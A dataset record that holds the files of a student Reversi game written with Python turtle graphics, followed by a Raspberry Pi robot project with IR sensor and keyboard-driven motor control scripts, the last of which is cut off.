TylerGillson/cpsc-reversi
https://github.com/TylerGillson/cpsc-reversi
3cf929a3b20de5ea0ca59dfaffc0eaaa08dbf31f
40de10a8c0fefcc15a975eb281d5bff27cd1fbef
b8d018ebdd93f0805ab14bfb479a0d8c263d9828
refs/heads/master
2021-01-10T15:21:04.010413
2015-10-08T15:18:37
2015-10-08T15:18:37
43,078,110
0
1
null
null
null
null
null
[ { "alpha_fraction": 0.48137369751930237, "alphanum_fraction": 0.5473418831825256, "avg_line_length": 27.1639347076416, "blob_id": "f5ca256b127b61162d62d64765c73ab957facf50", "content_id": "21e5e2c28855b40c9364a4d5913d58d59d3b89ed", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5154, "license_type": "no_license", "max_line_length": 115, "num_lines": 183, "path": "/old_reversi.py", "repo_name": "TylerGillson/cpsc-reversi", "src_encoding": "UTF-8", "text": "# Reversi Task 1\n\n# Import relevent modules #\nimport turtle\nimport math\nimport random\n\n# http://patorjk.com/software/taag/#p=display&f=Doom&t=welcome%0Ato%0Areversi #\n\nprint(\"\"\"\n _ _ _ \n | | | | | | \n | | | | ___| | ___ ___ _ __ ___ ___ \n | |/\\| |/ _ \\ |/ __/ _ \\| '_ ` _ \\ / _ \\\\\\\n \n \\ /\\ / __/ | (_| (_) | | | | | | __/\n \\/ \\/ \\___|_|\\___\\___/|_| |_| |_|\\___|\n _\n | | \n | |_ ___ \n | __/ _ \\\\\\\n \n | || (_) |\n \\__\\___/ \n _____ _\n | ___ \\ (_)\n | |_/ /____ _____ _ __ ___ __\n | // _ \\ \\ / / _ \\ '__/ __| |\n | |\\ \\ __/\\ V / __/ | \\__ \\ |\n \\_| \\_\\___| \\_/ \\___|_| |___/_|\n\"\"\")\n\nprint(' _____________________________________________________________________________________\\n')\n\n# CITATION!!! Reversi game description taken from D2L!\nprint(''' Reversi is a game for two players, played on a grid of eight columns and eight rows. \n \n As a result, there are 64 possible locations on the grid. \n \n Starting from the initial configuration, players take turns by placing a marker on the grid \n such that there exists at least one straight (horizontal, vertical, or diagonal) occupied line\n between the new marker and another marker belonging to the player, with one or more contiguous \n markers belonging to the opponent between them. \n \n After placing the marker, the player captures all of the opponent's markers on the straight \n line between the new marker and the other, anchoring marker.\n \n Thus, every legal move results in the capture of at least one of the opponents markers, and \n if a player cannot make a valid move, that player misses a turn.\n \n The game ends when neither player can add a marker to the grid - either because the grid is \n full or because no other legal moves exist.\n \n When the game has ended, the player with the most markers is declared the winner.\n ''')\n \nprint(' _____________________________________________________________________________________\\n')\n\ndef init_board():\n\tboard = turtle.Turtle()\n\twn = turtle.Screen()\n\tturtle.setworldcoordinates(-402,-402,402,402)\n\twn.bgcolor(\"Green\")\n\tboard.ht()\n\tboard.speed(0)\n\tboard.pensize(4)\n\tboard.pencolor(\"black\")\n\n\tcoordinate = [[-300,-402,90,None,804],\n\t\t\t\t [-200,-402,None,None,804],\n\t\t\t\t [-100,-402,None,None,804],\n\t\t\t\t [0,-402,None,None,804],\n\t\t\t\t [100,-402,None,None,804],\n\t\t\t\t [200,-402,None,None,804],\n\t\t\t\t [300,-402,None,None,804],\n\t\t\t\t [-402,-300,None,90,804],\n\t\t\t\t [-402,-200,None,None,804],\n\t\t\t\t [-402,-100,None,None,804],\n\t\t\t\t [-402,0,None,None,804],\n\t\t\t\t [-402,100,None,None,804],\n\t\t\t\t [-402,200,None,None,804],\n\t\t\t\t [-402,300,None,None,804]]\n\n\tfor i in range(14):\n\t\tX=0\n\t\tY=1\n\t\tLEFT=2\n\t\tRIGHT=3\n\t\tFORWARD=4\n\t\t\n\t\tboard.up()\n\t\tboard.goto(coordinate[i][X],coordinate[i][Y])\n\t\tif coordinate[i][LEFT] is not None:\n\t\t\tboard.left(coordinate[i][LEFT])\n\t\tif coordinate[i][RIGHT] is not None:\n\t\t\tboard.right(coordinate[i][RIGHT])\n\t\tboard.down()\n\t\tif coordinate[i][FORWARD] is not None:\n\t\t\tboard.forward(coordinate[i][FORWARD])\n\t\t\t\n\tboard_definition = turtle.Turtle()\n\tboard_definition.ht()\n\n\tlabel = [[-420,-360,8],\n\t\t\t [-420,-260,7],\n\t\t\t [-420,-160,6],\n\t\t\t [-420,-60,5],\n\t\t\t [-420,40,4],\n\t\t\t [-420,140,3],\n\t\t\t [-420,240,2],\n\t\t\t [-420,340,1],\n\t\t\t [-350,415,'A'],\n\t\t\t [-250,415,'B'],\n\t\t\t [-150,415,'C'],\n\t\t\t [-50,415,'D'],\n\t\t\t [50,415,'E'],\n\t\t\t [150,415,'F'],\n\t\t\t [250,415,'G'],\n\t\t\t [350,415,'H']]\n\n\tboard.up()\n\tboard.pensize(5)\n\tboard.pencolor(\"brown\")\n\tboard.goto(-402,-402)\n\tboard.down()\n\n\tfor i in range(4):\n\t\tboard.forward(804)\n\t\tboard.left(90)\n\n\tfor i in range(16):\n\t\tX=0\n\t\tY=1\n\t\tWRITE=2\n\n\t\tboard_definition.up()\n\t\tboard_definition.goto(label[i][X],label[i][Y])\n\t\tboard_definition.write(label[i][WRITE], move=False, align=\"center\", font=(\"Arial\", 18, \"bold\"))\n\n\tplayer_1_score = turtle.Turtle()\n\tplayer_2_score = turtle.Turtle()\n\tplayer_1_score.ht()\n\tplayer_2_score.ht()\n\tplayer_1_score.up()\n\tplayer_2_score.up()\n\tplayer_1_score.goto(-200,-435)\n\tplayer_2_score.goto(200,-435)\n\t\n\tprintTile(-50,0,'white','black')\n\tprintTile(50,-100,'white','black')\n\tprintTile(-50,-100,'black','white')\n\tprintTile(50,0,'black','white')\n\n\tplayer_1_score.write('Player 1 has: ' + str(2) + ' Tiles', move=False, align=\"center\", font=(\"Arial\", 12, \"bold\"))\n\tplayer_2_score.write('Player 2 has: ' + str(2) + ' Tiles', move=False, align=\"center\", font=(\"Arial\", 12, \"bold\"))\n\ndef circle(turtle,radius): \n for i in range(36):\n # Move by 1/360 circumference\n turtle.forward((2*math.pi*radius/360)*10)\n turtle.left(10)\n return \n\ndef printTile(xcord,ycord,pen_color,fill_color):\n tile = turtle.Turtle()\n tile.ht()\n tile.speed(0)\n tile.up()\n tile.goto(xcord,ycord)\n tile.down()\n tile.begin_fill()\n tile.pencolor(pen_color)\n tile.fillcolor(fill_color)\n circle(tile,50)\n tile.end_fill()\n return\n \ninit_board()\n\nplayer_1_move = input(\"Player 1, you are black, please enter the coordinates of your first move: \")\nprint(\"Player 1 played at: \" + player_1_move)\n\nwn.exitonclick()\n" }, { "alpha_fraction": 0.5330177545547485, "alphanum_fraction": 0.5862721800804138, "avg_line_length": 29.83941650390625, "blob_id": "a79f30edf585d15628778af02a5d05b480085bd7", "content_id": "e4071d08c40df2ba000f95bfe3f43bbf5045d6cf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8450, "license_type": "no_license", "max_line_length": 129, "num_lines": 274, "path": "/Alex_Reversi_Master.py", "repo_name": "TylerGillson/cpsc-reversi", "src_encoding": "UTF-8", "text": "# Reversi Task 2\n\n# Import relevant modules #\nimport turtle\nimport math\nimport random\nimport string\n\n#This function will draw the game's welcome screen. When the player clicks on the screen, it will exit, running the next function\ndef welcome():\n #The window that will draw the welcome screen components\n welcome_window = turtle.Screen()\n welcome_window.bgcolor(\"Green\")\n\n #separating drawing functionality into different turtle objects for clarity (plus easier to debug)\n\n #Turtle to display the title screen\n title_screen_turtle = turtle.Turtle()\n title_screen_turtle.ht()\n title_screen_turtle.penup()\n title_screen_turtle.left(90)\n title_screen_turtle.forward(250)\n title_screen_turtle.write(\"Welcome to Reversi!\", move = False, align = \"center\", font = (\"stencil\", 50, \"bold\"))\n\n #Turtle to display the description\n description_turtle = turtle.Turtle()\n description_turtle.ht()\n description_turtle.penup()\n description_turtle.right(90)\n description_turtle.forward(200)\n \n #CITATION: Game description was taken from d2l game description(modified only a little bit)\n description_turtle.write('''\n ___________________________________________________________________________\n \n Game description:\n \n Reversi is a game for two players, played on a grid of eight columns and eight rows.\n \n As a result, there are 64 possible locations on the grid.\n \n Starting from the initial configuration, players take turns by placing a marker on the grid\n such that there exists at least one straight (horizontal, vertical, or diagonal) occupied line\n between the new marker and another marker belonging to the player, with one or more contiguous\n markers belonging to the opponent between them.\n \n After placing the marker, the player captures all of the opponent's markers on the straight\n line between the new marker and the other, anchoring marker.\n \n Thus, every legal move results in the capture of at least one of the opponents markers, and\n if a player cannot make a valid move, that player misses a turn.\n \n The game ends when neither player can add a marker to the grid - either because the grid is\n full or because no other legal moves exist.\n \n When the game has ended, the player with the most markers is declared the winner.\n ________________________________________________________________________\n\n ''', move = False, align = \"center\", font = (\"cornerstone\", 11, \"normal\"))\n \n #turtle that draws a 'click anywhere to start' message\n click_turtle = turtle.Turtle()\n click_turtle.ht()\n click_turtle.penup()\n click_turtle.right(90)\n click_turtle.forward(300)\n click_turtle.pencolor(\"white\")\n click_turtle.write(\"Click anywhere to start!\", move = False, align = \"center\", font = (\"stencil\", 40, \"bold\"))\n\n #Exits the welcome_window, and in return exits the welcome() func, initializing the main board func\n welcome_window.exitonclick()\n\ndef init_board():\n board = turtle.Turtle()\n wn = turtle.Screen()\n turtle.setworldcoordinates(-400,-400,400,400)\n wn.bgcolor('green')\n board.ht()\n board.speed(0)\n board.pensize(4)\n board.pencolor('black')\n\n coordinate = [[-300,-400,90,None,800],\n\t\t [-200,-400,None,None,800],\n\t\t [-100,-400,None,None,800],\n\t\t [0,-400,None,None,800],\n\t\t [100,-400,None,None,800],\n\t\t [200,-400,None,None,800],\n\t\t [300,-400,None,None,800],\n\t\t [-400,-300,None,90,800],\n\t\t [-400,-200,None,None,800],\n\t\t [-400,-100,None,None,800],\n\t\t [-400,0,None,None,800],\n\t\t [-400,100,None,None,800],\n\t\t [-400,200,None,None,800],\n\t\t [-400,300,None,None,800]]\n\n for i in range(14):\n X=0\n Y=1\n LEFT=2\n RIGHT=3\n FORWARD=4\n\t\t\n board.up()\n board.goto(coordinate[i][X],coordinate[i][Y])\n if coordinate[i][LEFT] is not None:\n board.left(coordinate[i][LEFT])\n if coordinate[i][RIGHT] is not None:\n board.right(coordinate[i][RIGHT])\n board.down()\n if coordinate[i][FORWARD] is not None:\n board.forward(coordinate[i][FORWARD])\n \n label = [[-420,-360,8],\n\t\t [-420,-260,7],\n\t\t [-420,-160,6],\n\t\t [-420,-60,5],\n\t\t [-420,40,4],\n\t\t [-420,140,3],\n\t\t [-420,240,2],\n\t\t [-420,340,1],\n\t\t [-350,415,'A'],\n\t\t [-250,415,'B'],\n\t\t [-150,415,'C'],\n\t\t [-50,415,'D'],\n\t\t [50,415,'E'],\n\t\t [150,415,'F'],\n\t\t [250,415,'G'],\n\t\t [350,415,'H']]\n\n board.up()\n board.pensize(5)\n board.pencolor('brown')\n board.goto(-400,-400)\n board.down()\n\n for i in range(4):\n board.forward(800)\n board.left(90)\n\n board_definition = turtle.Turtle()\n board_definition.ht()\n\n for i in range(16):\n X=0\n Y=1\n WRITE=2\n\n board_definition.up()\n board_definition.goto(label[i][X],label[i][Y])\n board_definition.write(label[i][WRITE], move=False, align=\"center\", font=(\"Arial\", 18, \"bold\"))\n\n player_1_score = turtle.Turtle()\n player_2_score = turtle.Turtle()\n player_1_score.ht()\n player_2_score.ht()\n player_1_score.up()\n player_2_score.up()\n player_1_score.goto(-200,-435)\n player_2_score.goto(200,-435)\n\n printTile('D4','white','black')\n printTile('E5','white','black')\n printTile('E4','black','white')\n printTile('D5','black','white')\n\n player_1_score.write('Player 1 has: ' + str(2) + ' Tiles', move=False, align=\"center\", font=(\"Arial\", 12, \"bold\"))\n player_2_score.write('Player 2 has: ' + str(2) + ' Tiles', move=False, align=\"center\", font=(\"Arial\", 12, \"bold\"))\n\ndef circle(turtle,radius): \n for i in range(36):\n # Move by 1/360 circumference\n turtle.forward((2*math.pi*radius/360)*10)\n turtle.left(10)\n return \n\ndef printTile(cell,pen_color,fill_color):\n xcord = int(str.split(getCellCords(cell),',')[0]) + 46\n ycord = int(str.split(getCellCords(cell),',')[1]) + 4\n state = fill_color\n \n #updateCellState(cell,state)\n \n tile = turtle.Turtle()\n tile.ht()\n tile.speed(0)\n tile.up()\n tile.goto(xcord,ycord)\n tile.down()\n tile.begin_fill()\n tile.pencolor(pen_color)\n tile.fillcolor(fill_color)\n circle(tile,46)\n tile.end_fill()\n return\n\ndef init_constants():\n # letter, number, xcord, ycord, state\n #cells = [['A',1,-400,400,empty/white/black]]\n\n #CITATION: http://stackoverflow.com/questions/16060899/alphabet-range-python\n letters = list(map(chr, range(ord('A'), ord('H')+1)))\n\n global cells \n cells = []\n for letters in letters:\n state = 'empty'\n if letters == 'A':\n xcord = -400\n if letters == 'B':\n xcord = -300\n if letters == 'C':\n xcord = -200\n if letters == 'D':\n xcord = -100\n if letters == 'E':\n xcord = 0\n if letters == 'F':\n xcord = 100\n if letters == 'G':\n xcord = 200\n if letters == 'H':\n xcord = 300\n for i in range(1,9):\n if i == 1:\n ycord = 300\n if i == 2:\n ycord = 200\n if i == 3:\n ycord = 100\n if i == 4:\n ycord = 0\n if i == 5:\n ycord = -100\n if i == 6:\n ycord = -200\n if i == 7:\n ycord = -300\n if i == 8:\n ycord = -400\n cells.append([letters,i,xcord,ycord,state])\n\ndef getCellCords(cell):\n for i in range(64):\n if cells[i][0] + str(cells[i][1]) == cell:\n return str(cells[i][2]) + ',' + str(cells[i][3])\n\ndef updateCellState(cell,state):\n for i in range(64):\n if cells[i][0] + str(cells[i][1]) == cell:\n del cells[i][4]\n cells.insert([i],[state])\n\nwelcome()\ninit_constants()\ninit_board()\n\nplayer_1_move = input('Player 1, you are Black, please enter the coordinates of your first move: ')\nprint('Player 1 played at: ' + player_1_move)\nprintTile(player_1_move,'white','black')\n\n# CHEAT block to accomplish Task #2\nif player_1_move == 'C5':\n printTile('D5','white','black')\nif player_1_move == 'D6':\n printTile('D5','white','black')\nif player_1_move == 'F4':\n printTile('E4','white','black')\nif player_1_move == 'E3':\n printTile('E4','white','black')\n\n# prompt player 2 to move simply to keep the turtle window open...\nplayer_2_move = input('Player 2, you are White, please enter the coordinates of your first move: ')\n" }, { "alpha_fraction": 0.32865169644355774, "alphanum_fraction": 0.37921348214149475, "avg_line_length": 25.625, "blob_id": "623a7cea1343b4147c38cd6d4d3747bd62b60f00", "content_id": "18cdf3c0c59da769de422a80724ed43c98548c02", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1068, "license_type": "no_license", "max_line_length": 57, "num_lines": 40, "path": "/old_cells_def.py", "repo_name": "TylerGillson/cpsc-reversi", "src_encoding": "UTF-8", "text": " global cells\n cells = []\n for letters in letters:\n state = 'empty'\n # Assign xcoordinates according to column value #\n if letters == 'A':\n xcord = -400\n if letters == 'B':\n xcord = -300\n if letters == 'C':\n xcord = -200\n if letters == 'D':\n xcord = -100\n if letters == 'E':\n xcord = 0\n if letters == 'F':\n xcord = 100\n if letters == 'G':\n xcord = 200\n if letters == 'H':\n xcord = 300\n for i in range(1,9):\n # Assign ycoordinates according to row value #\n if i == 1:\n ycord = 300\n if i == 2:\n ycord = 200\n if i == 3:\n ycord = 100\n if i == 4:\n ycord = 0\n if i == 5:\n ycord = -100\n if i == 6:\n ycord = -200\n if i == 7:\n ycord = -300\n if i == 8:\n ycord = -400\n cells.append([letters,i,xcord,ycord,state])" }, { "alpha_fraction": 0.8064516186714172, "alphanum_fraction": 0.8064516186714172, "avg_line_length": 30, "blob_id": "c6d9df7ccbe008d443a85daa2472aadf5a54a2eb", "content_id": "bd24655d76320e3bffa1e40eb0a92e7fc6c283fc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 31, "license_type": "no_license", "max_line_length": 30, "num_lines": 1, "path": "/README.md", "repo_name": "TylerGillson/cpsc-reversi", "src_encoding": "UTF-8", "text": "CPSC - Reversi Code Repository\n" }, { "alpha_fraction": 0.6148673892021179, "alphanum_fraction": 0.6339185833930969, "avg_line_length": 35.30169677734375, "blob_id": "55a1796e456aed82a20c8fc28b5f69d604e8396a", "content_id": "d4ff0f48a8b2b819f25840b7fabe5b73759e6d90", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 10708, "license_type": "no_license", "max_line_length": 132, "num_lines": 295, "path": "/Tyler_Reversi.py", "repo_name": "TylerGillson/cpsc-reversi", "src_encoding": "UTF-8", "text": "# Reversi Task 3 #\n\n# Import relevant modules #\nimport turtle\nimport math\nimport random\nimport string\n\n# This function will draw the game's welcome screen. When the player clicks on the screen, it will exit, running the next function #\ndef welcome():\n \n welcome_window = turtle.Screen()\n welcome_window.bgcolor(\"Green\")\n # Separating drawing functionality into different turtle objects for clarity (plus easier to debug) #\n\n # Turtle to display the title message #\n title_screen_turtle = turtle.Turtle()\n title_screen_turtle.ht()\n title_screen_turtle.penup()\n title_screen_turtle.goto(0,300)\n title_screen_turtle.write(\"Welcome to Reversi!\", move = False, align = \"center\", font = (\"stencil\", 50, \"bold\"))\n\n # Turtle to display the description #\n description_turtle = turtle.Turtle()\n description_turtle.ht()\n description_turtle.penup()\n description_turtle.goto(0,-200)\n\n # CITATION: Game description was taken from d2l game description(modified only a little bit) #\n description_turtle.write('''\n ___________________________________________________________________________\n \n Game description:\n \n Reversi is a game for two players, played on a grid of eight columns and eight rows.\n \n As a result, there are 64 possible locations on the grid.\n \n Starting from the initial configuration, players take turns by placing a marker on the grid\n such that there exists at least one straight (horizontal, vertical, or diagonal) occupied line\n between the new marker and another marker belonging to the player, with one or more contiguous\n markers belonging to the opponent between them.\n \n After placing the marker, the player captures all of the opponent's markers on the straight\n line between the new marker and the other, anchoring marker.\n \n Thus, every legal move results in the capture of at least one of the opponents markers, and\n if a player cannot make a valid move, that player misses a turn.\n \n The game ends when neither player can add a marker to the grid - either because the grid is\n full or because no other legal moves exist.\n \n When the game has ended, the player with the most markers is declared the winner.\n ________________________________________________________________________\n\n ''', move = False, align = \"center\", font = (\"cornerstone\", 12, \"normal\"))\n \n # Turtle that draws a 'click anywhere to start' message #\n click_turtle = turtle.Turtle()\n click_turtle.ht()\n click_turtle.penup()\n click_turtle.goto(0,-300)\n click_turtle.pencolor(\"white\")\n click_turtle.write(\"Click anywhere to start!\", move = False, align = \"center\", font = (\"stencil\", 40, \"bold\"))\n\n # Exits the welcome_window #\n welcome_window.exitonclick()\n\n# This function will draw the game board #\ndef init_board():\n\n # Create a turtle object for the screen and configure it's settings #\n wn = turtle.Screen()\n wn.bgcolor('green')\n \n # Create a turtle object for drawing the board and configure it's settings #\n board = turtle.Turtle()\n board.ht()\n board.speed(0)\n board.pensize(4)\n board.pencolor('black')\n\n #These two functions uses the constants to draw the cells (excluding the outline)\n for i in range(num_rows-1):\n additive_int = i+1\n board.up()\n board.goto(origin_x,origin_y-(size_of_cell_y*additive_int))\n board.down()\n board.forward(size_of_cell_x*num_rows)\n\n board.right(90)\n \n for i in range(num_columns-1):\n additive_int = i+1\n board.up()\n board.goto(origin_x+(size_of_cell_x*additive_int), origin_y)\n board.down()\n board.forward(size_of_cell_y*num_columns)\n\n # Reconfigure the board drawing turtle for drawing the border #\n board.up()\n board.pensize(5)\n board.pencolor('brown')\n board.goto(origin_x,origin_y)\n board.down()\n\n # Draw the border #\n for i in range(2):\n board.forward(size_of_cell_x*num_rows)\n board.left(90)\n board.forward(size_of_cell_y*num_columns)\n board.left(90)\n\n # Create a new turtle object for writing board labels #\n board_definition = turtle.Turtle()\n board_definition.ht()\n board_definition.up()\n \n #These two for loops draw the labels (1, 2, 3, 4.... / A, B, C, D....)\n for i in range(num_rows):\n str_to_write = str(i+1)\n board_definition.goto(origin_x - (size_of_cell_x/2), origin_y - ((2*i+1)*size_of_cell_y/2) - (size_of_cell_y/8))\n board_definition.write(str_to_write, move=False, align=\"center\", font=(\"Arial\", 18, \"bold\"))\n \n for i in range(num_columns):\n str_to_write = alphabet[i]\n board_definition.goto(origin_x + ((2*i+1)*size_of_cell_x/2), origin_y + (size_of_cell_y/3))\n board_definition.write(str_to_write, move=False, align=\"center\", font=(\"Arial\", 18, \"bold\"))\n\n # Draw the initial four pieces using the printTile function #\n printTile('D4','white','black')\n printTile('E5','white','black')\n printTile('E4','black','white')\n printTile('D5','black','white')\n \ndef update_Scores(player_1_Score, player_2_Score):\n # Initialize turtle and places them under the board#\n player_1_turtle = turtle.Turtle()\n player_1_turtle.up()\n player_1_turtle.ht()\n player_1_turtle.goto((size_of_cell_x*num_rows) - (size_of_cell_x*num_rows)/3,-origin_y - size_of_cell_y)\n \n player_2_turtle = turtle.Turtle()\n player_2_turtle.up()\n player_2_turtle.ht()\n player_2_turtle.goto((size_of_cell_x*num_rows) - (((size_of_cell_x*num_rows)/3)*2),-origin_y - size_of_cell_y)\n \n #clear turtle clears previous scores\n clear = turtle.Turtle()\n clear.speed(0)\n clear.up()\n clear.ht()\n clear.goto(-300,-415)\n clear.color('green')\n clear.begin_fill()\n \n for i in range(2):\n clear.forward(600)\n clear.right(90)\n clear.forward(30)\n clear.right(90)\n\n clear.end_fill()\n \n # Display running totals for initial configuration #\n player_1_turtle.write('Player 1 has: ' + str(player_1_Score) + ' Tiles', move=False, align=\"center\", font=(\"Arial\", 12, \"bold\"))\n player_2_turtle.write('Player 2 has: ' + str(player_2_Score) + ' Tiles', move=False, align=\"center\", font=(\"Arial\", 12, \"bold\"))\n\n# Define a function for drawing circles of x radius #\ndef circle(turtle,radius):\n for i in range(36):\n #Move by 1/360 circumference\n turtle.forward((2*math.pi*radius/360)*(size_of_cell_x/10))\n turtle.left(10)\n return\n\n# Define a function for drawing pieces wherever a player chooses #\ndef printTile(cell,pen_color,fill_color):\n # Pass the user input value into getCellCords in order to determine x/y coordinates for drawing a piece #\n xcord = int(str.split(getCellCords(cell),',')[0]) - (size_of_cell_x/2) - 2\n ycord = int(str.split(getCellCords(cell),',')[1]) + size_of_cell_y + 2\n# state = fill_color\n \n# updateCellState(cell,state)\n \n # Create & configure a turtle object for drawing a piece #\n tile = turtle.Turtle()\n tile.ht()\n tile.speed(0)\n tile.up()\n \n # Relocate turtle to required position and draw a piece using the colors specified in the parameters #\n tile.goto(xcord,ycord)\n tile.down()\n tile.begin_fill()\n tile.pencolor(pen_color)\n tile.fillcolor(fill_color)\n circle(tile,46)\n tile.end_fill()\n return\n\n# This function creates the 2D list 'cells' which will be referenced later for drawing pieces when players make moves #\ndef init_cells_array():\n global origin_x\n global origin_y\n origin_x = ((size_of_cell_x*num_rows)/-2)\n origin_y = ((size_of_cell_y*num_columns)/2)\n \n # letter, number, xcord, ycord, state #\n # cells[0] = [['A',1,-400,400,empty/white/black]] #\n\n # CITATION: line 213 was written via referencing this URL: http://stackoverflow.com/questions/16060899/alphabet-range-python #\n global alphabet\n alphabet = list(map(chr, range(ord('A'), ord('Z')+1)))\n letters = list(map(chr, range(ord(alphabet[0]), ord(alphabet[num_columns]))))\n\n # Create a globally available 2D list containing information about all grid locations #\n global cells\n cells = []\n for letters in letters:\n state = 'empty'\n # Assign xcoordinates according to column value #\n if letters == 'A':\n letter_int = 0\n letter_int = letter_int + 1\n xcord = int(origin_x+(size_of_cell_x*letter_int))\n \n for i in range(num_rows-1):\n # Assign ycoordinates according to row value #\n i_int = i + 1\n ycord = int(origin_y-(size_of_cell_y*i_int))\n cells.append([letters,i,xcord,ycord,state])\n\n# Define a function for determining x/y coordinates of a given grid location #\ndef getCellCords(cell):\n for i in range(64):\n if cells[i][0] + str(cells[i][1]) == cell:\n return str(cells[i][2]) + ',' + str(cells[i][3])\n\n# Define a function for updating the state value of a given grid location #\ndef updateCellState(cell,state):\n for i in range(64):\n if cells[i][0] + str(cells[i][1]) == cell:\n del cells[i][4]\n cells.insert([i],[state])\n\ndef main():\n # Define constants for drawing the board #\n global num_rows\n global num_columns\n global size_of_cell_x\n global size_of_cell_y\n\n num_rows = 8\n num_columns = 8\n size_of_cell_x = 50\n size_of_cell_y = 50\n\n # Display welcome screen, then initialize the board & all constants etc. #\n welcome()\n init_cells_array()\n init_board()\n #Added by Victor\n global player_1_Score\n player_1_Score = 2\n global player_2_Score\n player_2_Score = 2\n update_Scores(player_1_Score,player_2_Score)\n \n # Prompt player 1 for a move #\n player_1_move = input('Player 1, you are Black, please enter the coordinates of your first move: ')\n\n # Echo player 1's move back via terminal #\n print('Player 1 played at: ' + player_1_move)\n\n # Draw a piece wherever player 1 picked #\n printTile(player_1_move,'white','black')\n\n # Temporary code block to accomplish Task #2\n if player_1_move == 'C5':\n printTile('D5','white','black')\n if player_1_move == 'D6':\n printTile('D5','white','black')\n if player_1_move == 'F4':\n printTile('E4','white','black')\n if player_1_move == 'E3':\n printTile('E4','white','black')\n\n player_1_Score += 2\n player_2_Score += 2\n update_Scores(player_1_Score, player_2_Score)\n # prompt player 2 to move simply to keep the turtle window open... #\n player_2_move = input('Player 2, you are White, please enter the coordinates of your first move: ')\n\nmain()" } ]
5
lukasstaras/robo.py
https://github.com/lukasstaras/robo.py
9d16a16f6063de4869a1b7453adfd6475d3bcdfe
27acc3b0e5ff77046ab485a35fecba6bca511ada
e538bce15fde86d09e2bceac78047691d52bed39
refs/heads/master
2021-05-15T22:06:11.383352
2017-10-12T10:45:23
2017-10-12T10:45:23
106,665,708
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.625, "alphanum_fraction": 0.625, "avg_line_length": 11, "blob_id": "1b195e808c487741ceaf9dbe7803ad075487cd4c", "content_id": "3ae486a3034f9510b8d2ece45ea8fbed382b0990", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 24, "license_type": "no_license", "max_line_length": 13, "num_lines": 2, "path": "/README.md", "repo_name": "lukasstaras/robo.py", "src_encoding": "UTF-8", "text": "# robo.py\nprint(\"robo\")\n" }, { "alpha_fraction": 0.6639175415039062, "alphanum_fraction": 0.6969072222709656, "avg_line_length": 21, "blob_id": "66b7ac0cb6ac212af9bf4093b74bd38f21bd947e", "content_id": "2f2b824060e79f31f55a608edbc230644f8d5ec9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 485, "license_type": "no_license", "max_line_length": 54, "num_lines": 22, "path": "/wall_e/IRsensor.py", "repo_name": "lukasstaras/robo.py", "src_encoding": "UTF-8", "text": "# External module imports\nimport RPi.GPIO as GPIO\nimport time\n\n# Pin Definitons:\nIRsensor1 = 4 # Broadcom pin\nIRsensor2 = 17\nIRsensor3 = 27\n\n# Pin Setup:\nGPIO.setmode(GPIO.BCM) # Broadcom pin-numbering scheme\nGPIO.setup(IRsensor1, GPIO.IN) # sensor set as input \nGPIO.setup(IRsensor2, GPIO.IN)\nGPIO.setup(IRsensor3, GPIO.IN)\n\n# PROGRAM\nwhile True:\n A = GPIO.input(IRsensor1)\n\tB = GPIO.input(IRsensor2)\n\tC = GPIO.input(IRsensor3)\n print (C, B, A)\n time.sleep(0.1)\n\n" }, { "alpha_fraction": 0.597278892993927, "alphanum_fraction": 0.6249433159828186, "avg_line_length": 25.890243530273438, "blob_id": "0f3118d45ca1033022ef4dd2eb48bdc116f9d955", "content_id": "5990f334ad27757ced62d4bd5ba68bb144a91a03", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2205, "license_type": "no_license", "max_line_length": 75, "num_lines": 82, "path": "/wall_e/TEST.py", "repo_name": "lukasstaras/robo.py", "src_encoding": "UTF-8", "text": "import curses\nimport RPi.GPIO as GPIO\n\n#set GPIO numbering mode and define output pins\nGPIO.setwarnings(False)\nGPIO.setmode(GPIO.BCM)\n\nAIN1 = 2\nAIN2 = 3\nPWMA = 10\nBIN1 = 23\nBIN2 = 24\nPWMB = 18\n\nGPIO.setup(AIN1, GPIO.OUT)\nGPIO.setup(AIN2, GPIO.OUT)\nGPIO.setup(PWMA, GPIO.OUT)\nGPIO.setup(BIN1, GPIO.OUT)\nGPIO.setup(BIN2, GPIO.OUT)\nGPIO.setup(PWMB, GPIO.OUT)\n\n# Get the curses window, turn off echoing of keyboard to screen, turn on\n# instant (no waiting) key response, and use special values for cursor keys\nscreen = curses.initscr()\ncurses.noecho()\ncurses.cbreak()\nscreen.keypad(True)\nrightmotor = GPIO.PWM(PWMA, 50)\nrightmotor.start(0)\nleftmotor = GPIO.PWM(PWMB, 50)\nleftmotor.start(0)\ntry:\n while True:\n char = screen.getch()\n if char == ord('q'):\n \t\t#Close down curses properly, inc turn echo back on!\n curses.nocbreak(); screen.keypad(0); curses.echo()\n curses.endwin()\n GPIO.cleanup()\n\t\tbreak\n elif char == curses.KEY_UP:\n\t\tprint('Forward')\n GPIO.output(AIN1, True)\n\t\tGPIO.output(AIN2, False)\n\t\trightmotor.ChangeDutyCycle(100)\n\n\t\tGPIO.output(BIN1, True)\n\t\tGPIO.output(BIN2, False)\n\t\tleftmotor.ChangeDutyCycle(100)\n elif char == curses.KEY_DOWN:\n\t\tprint('Beckwards')\n GPIO.output(AIN2,True)\n GPIO.output(AIN1,False)\n rightmotor.ChangeDutyCycle(100)\n\n\t\tGPIO.output(BIN1, False)\n\t\tGPIO.output(BIN2, True)\n\t\tleftmotor.ChangeDutyCycle(100)\n elif char == curses.KEY_RIGHT:\n\t\tprint('Right')\n GPIO.output(AIN1, True)\n GPIO.output(AIN2, False)\n\t\trightmotor.ChangeDutyCycle(60)\n\n\t\tGPIO.output(BIN1, True)\n\t\tGPIO.output(BIN2, False)\n\t\tleftmotor.ChangeDutyCycle(30)\n elif char == curses.KEY_LEFT:\n\t\tprint('Left')\n\t\tGPIO.output(AIN1, True)\n GPIO.output(AIN2, False)\n rightmotor.ChangeDutyCycle(30)\n\n GPIO.output(BIN1, True)\n GPIO.output(BIN2, False)\n leftmotor.ChangeDutyCycle(60)\n else:\n 